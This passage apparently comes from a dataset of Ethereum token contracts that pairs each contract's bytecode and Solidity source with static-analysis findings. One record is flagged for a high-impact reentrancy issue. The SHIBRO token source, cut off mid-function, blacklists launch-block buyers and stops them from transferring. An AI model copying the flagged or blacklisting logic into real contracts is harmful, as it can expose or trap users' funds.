81526010602052604090205460ff16158015610f1457506001600160a01b03821660009081526010602052604090205460ff16155b610f6c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105eb565b6015546001600160a01b03838116911614610ff15760175481610f8e846107cc565b610f989190611d07565b10610ff15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105eb565b6000610ffc306107cc565b6018546016549192508210159082106110155760165491505b80801561102c5750601554600160a81b900460ff16155b801561104657506015546001600160a01b03868116911614155b801561105b5750601554600160b01b900460ff165b801561108057506001600160a01b03851660009081526005602052604090205460ff16155b80156110a557506001600160a01b03841660009081526005602052604090205460ff16155b156110c5576110b382611312565b4780156110c3576110c347611209565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110a57506001600160a01b03831660009081526005602052604090205460ff165b8061113c57506015546001600160a01b0385811691161480159061113c57506015546001600160a01b03848116911614155b15611149575060006111c3565b6015546001600160a01b03858116911614801561117457506014546001600160a01b03848116911614155b1561118657600854600c55600954600d555b6015546001600160a01b0384811691161480156111b157506014546001600160a01b03858116911614155b156111c357600a54600c55600b54600d555b610a50848484846114b7565b600081848411156111f35760405162461bcd60e51b81526004016105eb9190611c0f565b5060006112008486611d5e565b95945050505050565b6012546001600160a01b03166108fc6112238360026114e5565b6040518115909202916000818181858888f1935050505015801561124b573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112668360026114e5565b6040518115909202916000818181858888f1935050505015801561066a573d6000803e3d6000fd5b60006006548211156112f55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006112ff611527565b905061130b83826114e5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bc57600080fd5b505afa1580156113d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f491906119a7565b8160018151811061141557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143b9130911684610b6f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611474908590600090869030904290600401611c97565b600060405180830381600087803b15801561148e57600080fd5b505af11580156114a2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c4576114c461154a565b6114cf848484611578565b80610a5057610a50600e54600c55600f54600d55565b600061130b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600080600061153461169d565b909250905061154382826114e5565b9250505090565b600c5415801561155a5750600d54155b1561156157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158a876116db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bc9087611738565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115eb908661177a565b6001600160a01b03891660009081526002602052604090205561160d816117d9565b6116178483611823565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165c91815260200190565b60405180910390a3505050505050505050565b600081836116905760405162461bcd60e51b81526004016105eb9190611c0f565b5060006112008486611d1f565b6006546000908190662386f26fc100006116b782826114e5565b8210156116d257505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116f88a600c54600d54611847565b9250925092506000611708611527565b9050600080600061171b8e87878761189c565b919e509c509a509598509396509194505050505091939550919395565b600061130b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cf565b6000806117878385611d07565b90508381101561130b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b60006117e3611527565b905060006117f183836118ec565b3060009081526002602052604090205490915061180e908261177a565b30600090815260026020526040902055505050565b6006546118309083611738565b600655600754611840908261177a565b6007555050565b6000808080611861606461185b89896118ec565b906114e5565b90506000611874606461185b8a896118ec565b9050600061188c826118868b86611738565b90611738565b9992985090965090945050505050565b60008080806118ab88866118ec565b905060006118b988876118ec565b905060006118c788886118ec565b905060006118d9826118868686611738565b939b939a50919850919650505050505050565b6000826118fb5750600061067f565b60006119078385611d3f565b9050826119148583611d1f565b1461130b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b803561197681611dbc565b919050565b8035801515811461197657600080fd5b60006020828403121561199c578081fd5b813561130b81611dbc565b6000602082840312156119b8578081fd5b815161130b81611dbc565b600080604083850312156119d5578081fd5b82356119e081611dbc565b915060208301356119f081611dbc565b809150509250929050565b600080600060608486031215611a0f578081fd5b8335611a1a81611dbc565b92506020840135611a2a81611dbc565b929592945050506040919091013590565b60008060408385031215611a4d578182fd5b8235611a5881611dbc565b946020939093013593505050565b600080600060408486031215611a7a578283fd5b833567ffffffffffffffff80821115611a91578485fd5b818601915086601f830112611aa4578485fd5b813581811115611ab2578586fd5b8760208260051b8501011115611ac6578586fd5b602092830195509350611adc918601905061197b565b90509250925092565b60006020808385031215611af7578182fd5b823567ffffffffffffffff80821115611b0e578384fd5b818501915085601f830112611b21578384fd5b813581811115611b3357611b33611da6565b8060051b604051601f19603f83011681018181108582111715611b5857611b58611da6565b604052828152858101935084860182860187018a1015611b76578788fd5b8795505b83861015611b9f57611b8b8161196b565b855260019590950194938601938601611b7a565b5098975050505050505050565b600060208284031215611bbd578081fd5b61130b8261197b565b600060208284031215611bd7578081fd5b5035919050565b60008060008060808587031215611bf3578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3b57858101830151858201604001528201611c1f565b81811115611c4c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce65784516001600160a01b031683529383019391830191600101611cc1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1a57611d1a611d90565b500190565b600082611d3a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5957611d59611d90565b500290565b600082821015611d7057611d70611d90565b500390565b6000600019821415611d8957611d89611d90565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220553aa4d898da669fb109f1173f2a674327b3bff32b70726739ce472261579e0c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,164 |
0xf68f0bdd54a7db0c9e3e1b170ca7ba8e1345bd70
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CCPToken is StandardToken {
string public name;
string public symbol;
uint8 public decimals = 18;
constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply_ = initialSupply * 10 ** uint256(decimals);
balances[msg.sender] = initialSupply * 10 ** uint256(decimals);
name = tokenName;
symbol = tokenSymbol;
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a6c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d11565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d59565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df7565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611017565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611213565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c757600080fd5b610818826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ab826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610b91576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25565b610ba4838261129a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610def5780601f10610dc457610100808354040283529160200191610def565b820191906000526020600020905b815481529060010190602001808311610dd257829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e4657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e8257600080fd5b610ed3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f66826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110a882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112a857fe5b818303905092915050565b600081830190508281101515156112c657fe5b809050929150505600a165627a7a7230582068c072914681a539d750ee8f0c80d2b46866080849c2caadd0ce3908c18c107b0029
|
{"success": true, "error": null, "results": {}}
| 8,165 |
0xd33df5653f245fd1f513850cc777d991e6d2c93c
|
// SPDX-License-Identifier: Unlicensed
//Tg: https://t.me/shibrodao
//Web: https://shibro.io
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SHIBRO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SHIBRO DAO";
string private constant _symbol = "SHIBRO";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxbuylimit = 2;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxbuylimit).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
